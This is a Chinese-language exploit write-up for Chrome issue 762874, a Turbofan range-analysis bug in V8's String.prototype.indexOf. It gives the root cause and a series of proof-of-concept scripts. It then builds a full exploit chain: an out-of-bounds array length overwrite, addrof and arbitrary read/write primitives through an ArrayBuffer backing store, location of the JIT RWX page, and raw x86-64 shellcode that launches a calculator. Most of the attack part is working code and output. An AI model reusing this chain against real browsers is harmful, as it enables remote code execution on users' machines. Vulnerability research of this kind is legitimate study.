Chrome issue 762874

 

0 环境与背景知识

0.1 环境

首先搜一下在chrome的bug库中找到对应的issue号

从下面的评论中找到了对应的含有漏洞的v8版本

还原到parent版本

下图中的两个版本应该是都可以的(对于旧的版本可以使用JIT 新的v8版本可以使用wasm方法)这里的新指6.7版本之后的)当然了使用传统的泄漏libc方法也可以

0.2 Javascript indexOf方法

indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。

stringObject.indexOf(searchvalue,fromindex)

参数	描述
searchvalue	必需。规定需检索的字符串值。
fromindex	可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length – 1。如省略该参数，则将从字符串的首字符开始检索。

这里的fromindex补丁后是0到length-1,我们看到在漏洞版本中是-1到length-1(源码如下)

下面是几个这个函数使用的例子(取自菜鸟教程)

<script type="text/javascript">

var str="Hello world!"
document.write(str.indexOf("Hello") + "<br />")
document.write(str.indexOf("World") + "<br />")
document.write(str.indexOf("world"))

</script>

三个输出分别是

0
-1
6

下面我们看下面的使用方法

'1234'.indexOf("",1)

第二个参数是开始匹配的位置,第一个参数为空,这样的话一定匹配成功,返回我们给的第二个参数

不过当我们尝试越界访问的时候返回的是length

0.3 JIT

在 JavaScript 引擎中增加一个监视器监控着代码的运行情况，记录代码一共运行了多少次、如何运行的等信息。如果同一行代码运行了多次，这个代码段就会被送给JIT机制进行编译和优化，将编译后的机器代码保存在缓存中，下次直接执行这块机器代码即可，大大提高了一些情况下代码的执行效率。

在较早期版本的v8引擎中，经常使用向JIT写入shellcode的方式。不过在6.7版本之后，JIT的区域会被标记为不可写。可以考虑JIT Spray/JIT ROP之类的绕过。个人感觉JIT和wasm是很像的,wasm的介绍可以从文章找一下

下面的代码可以用来寻找JIT

//让function变hot
function f()
{
    for(let i=0;i<0x1000000;i++)
    {
        let a='migraine';    
    }
}
//通过jsfunction结构找到JIT的地址
let jsfunc_addr=wr.leak_obj(f);
let jit_addr=wr.read(jsfunc_addr+6*8)-1;
console.log("jsfunction address = "+hex(jsfunc_addr));
console.log("jit address = "+hex(jit_addr));

也可以使用debug调试(建议),比如下面

Code Builtin位置就是我们要写的位置

对应的可以找到偏移是0x38(对应上图中的job)

pwndbg> x/20gx 0xd0398602ef9-1
0xd0398602ef8:    0x00000350944024c1    0x00003d0ed2002251
0xd0398602f08:    0x00003d0ed2002251    0x00003d0ed2002321
0xd0398602f18:    0x0000125dd6732389    0x0000125dd6703cd1
0xd0398602f28:    0x0000125dd6732561    0x00002ad94bb0df41  <======
0xd0398602f38:    0x00003d0ed20022e1    0x1beefdad0beefdaf

我们找到的位置是下图中的一部分

接着根据RWX段找到具体代码

可见偏移是0x60

所以找RWX地址的代码就是

var jit_addr = addrof(jit) - 1;
console.log("jit_addr ==> 0x"+jit_addr.toString(16))
var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))

 

1 漏洞分析

起初漏洞分析的时候参考的是

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p

中关于这个issue的分析,后来复现的时候发现与我所面对有所出入(即下文中的2**28)

1.1 优化时分析

在Turbofan 的Typer中将indexof 的range分析设计成了-1到length-1,如下图中的源码

所以在优化分析的时候,Typer会将这里的范围设定为 range(-1, kMaxLength-1)

1.2 运行时分析

但是真正运行的时候,indexOf后面的参数最大只能到2**28-16位置,

当我们输入更大的数字给它时,它也只能返回2**28-16

例如我下面截图中的一些尝试,最后一个按照函数正确的调用应该返回2**28,

但是却只到了2**28-16

1.3 总结

笔者想到了一个表格,感觉可以形象的表述如何触发bug

传入x = 2**28-16

根据上面的尝试(其实后面发现这个出错了),写了下面的表格

程序流程(右侧的范围指这一行新出现的变量的取值范围)	优化时情况	运行时情况
let b = ‘A’.repeat(2**28-16).indexOf(“”,x)	range(-1,2**28-17)	(0,2**28-16)
let a = b+16	range(15,2**28-1)	(16,2**28)
let c = a >> 28	range(0,0)	(0,1)
let idx = c * 1337	range(0,0)	(0,1337)

简单的解释一下,上面的表格可以设计成一个函数,第二列是优化的时候见到的情况,第三列则是运行时的实际情况.

如果我们使用表中得到的idx去访问一个数组的话,优化时会认为我们访问的是0号元素,从而去掉checkBound节点,而实际运行时我们可以越界访问,从而导致OOB

 

2 POC 尝试触发漏洞

有了上面的表格POC就相对好写一点了

起初想用下面的代码触发

2.1

poc1.js

function foo(x)
{
    let oobArray = [1.1,2.2,3.3,4.4];
    let b = 'A'.repeat(2**28-16).indexOf("",x);
    let a = b + 16;
    let c = a >> 28;
    // c = c - 3;
    let idx = c * 1337;
    return oobArray[idx];
}

print(foo(1));
print(foo(1));
%OptimizeFunctionOnNextCall(foo);
print(foo(2**28-16));

但是发现失败了,被检测到了越界

使用Turbolizer看一下优化的过程

问题似乎处在Typer阶段

我们希望这里的range是(-1,2**28-17),但是后面那个1073741798明显大了很多

这里就导致了Simplified Lowering阶段仍然有CheckBound节点

刚开始猜测可能是我将x当做参数传给函数,它不知道这个x的范围,所以设计的很大,于是改了一下POC

2.2

poc2.js

function foo()
{
    x = 2**28-16;
    let oobArray = [1.1,2.2,3.3,4.4];
    let b = 'A'.repeat(2**28-16).indexOf("",x);
    let a = b + 16;
    let c = a >> 28;
    let idx = c * 1337;
    return oobArray[idx];
}

print(foo());
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());

结果还是同样的,CheckBound节点没有去除,猜测可能这个优化的最大界就是那个数字,

尝试了修改字符串的长度,然后看一下优化图解

2.3

poc3.js

(0,1337)
function foo(x)
{
    let oobArray = [1.1,2.2,3.3,4.4];
    let b = 'A'.repeat(16).indexOf("",x);
    let a = b + 16;
    let c = a >> 28;
    let idx = c * 1337;
    return oobArray[idx];
}

print(foo(1));
print(foo(1));
%OptimizeFunctionOnNextCall(foo);
print(foo(16));

发现最大界限仍然是这个数字(2**30-26)

猜测上面MaxLength对应的源码不是2**28次方了,测试一下

可以看到确实MaxLength不在是之前的2**28-16

重新测试了一下运行情况

2.4

尝试修改一下上面的表格(x = 2**30-25)

程序流程(右侧的范围指这一行新出现的变量的取值范围)	优化时情况	运行时情况
let b = ‘A’.repeat(2**30-25).indexOf(“”,x)	range(-1,2**30-26)	2**30-25
let a = b+25	range(24,2**30-25)	2**30
let c = a >> 30	range(0,0)	1
let idx = c * 5	range(0,0)	5

下面是我一步一步运行poc时得到的结果

// d8> 'A'.repeat(2**30-25).indexOf('',2**30-25)
// 1073741799
// d8> 1073741799+25
// 1073741824
// d8> 1073741824>>30
// 1
// d8>

重新写一下POC

poc4.js

function foo()
{
    // x = 2**28;

    let b = 'A'.repeat(2**30-25).indexOf('',2**30-25);

    let a = b + 25;
    let c = a >> 30;
    let idx = c * 5;
    let oobArray = [1.1,2.2,3.3,4.4];
    return oobArray[idx];


}

// for(var i=0;i<0x10000;i++)
// {
//     var k = foo();
//     if(k!=undefined)
//     {
//         print(k);
//     }    
// }


print(foo());
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());

运行结果…..越界失败 起初我根据下面的图以为越界失败了

但是当我输出上面poc的index的时候发现实际上越界成功了(输出idx的效果如下图)

0
1.1
0
1.1
---------------------------------------------------
Begin compiling method foo using Turbofan
---------------------------------------------------
Finished compiling method foo using Turbofan
5
1.1*/

优化图解

我们确实得到了range(0,0),而且也没有了checkBound节点.

2.5

最后进一步完善一下,写出了下面的poc

poc5.js

function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{ 
    f64[0] = val;
    let tmp = Array.from(u32);
    return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
    let tmp = [];
    tmp[0] = parseInt(val % 0x100000000);
    tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
    u32.set(tmp);
    return f64[0];
}


function foo(x)
{
    // x = 2**28;

    let b = 'A'.repeat(2**30-25).indexOf('',x);

    let a = b + 25;
    let c = a >> 30;
    // print(c);
    let idx = c * 5;
    print(idx);
    let oobArray = [1.1,2.2,3.3,4.4];
    oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
    return oobArray;


}

// for(var i=0;i<0x10000;i++)
// {
//     var k = foo();
//     if(k!=undefined)
//     {
//         print(k);
//     }    
// }


foo(1);
foo(1);
%OptimizeFunctionOnNextCall(foo);
let oob = foo(2**30-25);
%DebugPrint(oob);
%SystemBreak();



//在实际运行中foo(2**30-25)明明是1
// 1.1
// 1.1
// --------城-------------------------------------------
// Begin compiling method foo using Turbofan
// ---------------------------------------------------
// Finished compiling method foo using Turbofan
// 1.1



// d8> 'A'.repeat(2**30-25).indexOf('',2**30-25)
// 1073741799
// d8> 1073741799+25
// 1073741824
// d8> 1073741824>>30
// 1
// d8> 
/*

0
1.1
0
1.1
---------------------------------------------------
Begin compiling method foo using Turbofan
---------------------------------------------------
Finished compiling method foo using Turbofan
5
1.1*/

上面POC的效果是将oobArray的第5个元素修改成1.74512933848984e-310;//i2f(0x202000000000)

在debug模式下运行一下

从上图中可以发现OOB成功

 

3 EXP

接下来的流程就是和之前的利用方法相似了,只不过最后一步用的是JIT,使用ArrayBuffer object 实现弹出计算器

如果不清楚这次利用的方法,建议阅读上面链接中的背景知识

3.1 change the size of oobArray

通过debug模式下的图解,我们可以知道我们要修改的是idx = 7的位置(如下图)

我尝试用下面的脚本进行修改大小时

/*************************************************************
 * File Name: m_exp.js
 * 
 * Created on: xx.xx.xx
 * Author: init-0
 * 
 * Last Modified: 
 * Description: exp for 762874
************************************************************/

function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{ 
    f64[0] = val;
    let tmp = Array.from(u32);
    return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
    let tmp = [];
    tmp[0] = parseInt(val % 0x100000000);
    tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
    u32.set(tmp);
    return f64[0];
}

let obj = [];
let ABuffer = [];

function foo(x)
{
    // x = 2**28;
    let b = 'A'.repeat(2**30-25).indexOf('',x);
    let a = b + 25;
    let c = a >> 30;
    // print(c);
    let idx = 7 * 5;
    // print(idx);
    let oobArray = [1.1,2.2,3.3,4.4];
    oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
    return oobArray;
}

// for(var i=0;i<0x10000;i++)
// {
//     var k = foo();
//     if(k!=undefined)
//     {
//         print(k);
//     }    
// }
foo(1);
foo(1);
for(let i=0; i<MAX_ITERATIONS; i++) {
    foo(1)
}
let oob = foo(2**30-25);
console.log("[*] ========> "+hex(oob.length));




%DebugPrint(oob);
%SystemBreak();

按理说应该会改成0x2020

修改成功

3.2 Read and write at any address && obj leak

利用ArrayBuffer 的 Backstore指针 与 object

如果这一步不是很懂,可以看一下之前的背景知识

本部分的代码如下

其中gc()函数是使得内存更加的稳定

obj.push({mark:i2f(0x11111111),n:i2f(0x41414141)});
ABuffer.push(new ArrayBuffer(0x200));


gc();

var off_buffer = 0;
var off_obj = 0;


for(var i=0;i<500;i++)
{
    let tmp = oob[i];
    if(f2i(tmp) == 0x11111111)
    {
        off_obj = i+1;
        break;
    }
}

for(var i=0;i<500;i++)
{
    let tmp = oob[i];
    if(f2i(tmp) == 0x0000020000000000)
    {
        off_buffer = i+1;
        break;
    }
}


console.log("[+] off_obj    @"+off_obj);
console.log("[+] off_buffer   @"+off_buffer);

这里简单解释一下,笔者在oob地址下方push了一个ArrayBuffer 和 一个object

并通过oob数组越界找到其位置,运行效果如下

之后写了三个函数,分别用于泄漏地址,任意地址读,任意地址写

let dataView = new DataView(ABUF[ABUF.length-1]);

function addrof(x)
{
    obj[0].n = x;
    return f2i(oob[off_obj]);
}


function abread(addr)
{
    oob[off_buffer] = i2f(addr);
    // let bigint = new BigUint64Array(ABUF);
    // return bigint[0];
    return f2i(dataView.getFloat64(0,true));
}

function abwrite(addr,payload)
{
    oob[off_buffer] = i2f(addr);
    for(let i=0; i<payload.length; i++) {
        dataView.setUint8(i, payload[i]);
    }
}

3.3 Get calc

这一步利用的是JIT

首先找到JIT代码的位置

var jit = new Function("var a=1000000");

// %DebugPrint(ABuffer);
// %DebugPrint(oob);
// %SystemBreak();

var jit_addr = addrof(jit) - 1;
console.log("jit_addr ==> 0x"+jit_addr.toString(16))
var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))

之后写入shellcode并执行

var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];


abwrite(rwx_addr,shellcode);
jit();
// f();

最终效果

 

4 遇到的问题

4.0

说明:下面的问题是我刚开始想使用wasm方法写exp遇到的

写exp脚本的时候遇到了下面的问题

dataview.getFloat64(byteOffset [, littleEndian])

RangeError如果byteOffset超出了视图能储存的值，就会抛出错误.

这里最后的问题在于backstore的偏移找错了

应该是wasm的偏移找错了

解决方法在Debug模式下,打印出函数的地址,通过内存一点点找到RWX位置

打印出的函数地址,以及share_info位置

我们对应一下相对偏移(0x20)

同理利用上面的方法依次找到wasm instance RWX地址

实在不行,还可以search一下,比如上图我们找箭头的位置

下面的图片就不贴了,方法都是一样的

还有一个问题就是

下面脚本的位置有的时候在数字后面要加上’n’,有时不用 ,应该和不同版本的v8有关系

 

5 参考

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p

https://migraine-sudo.github.io/2020/02/22/roll-a-v8/#JIT 关于JIT寻找部分

除了上面这些参考,后面大部分都是探索出来的

 

6 总结

6.1 对于Turbofan的理解有时比具体的利用思路更加的重要

6.2 菜鸟还得继续努力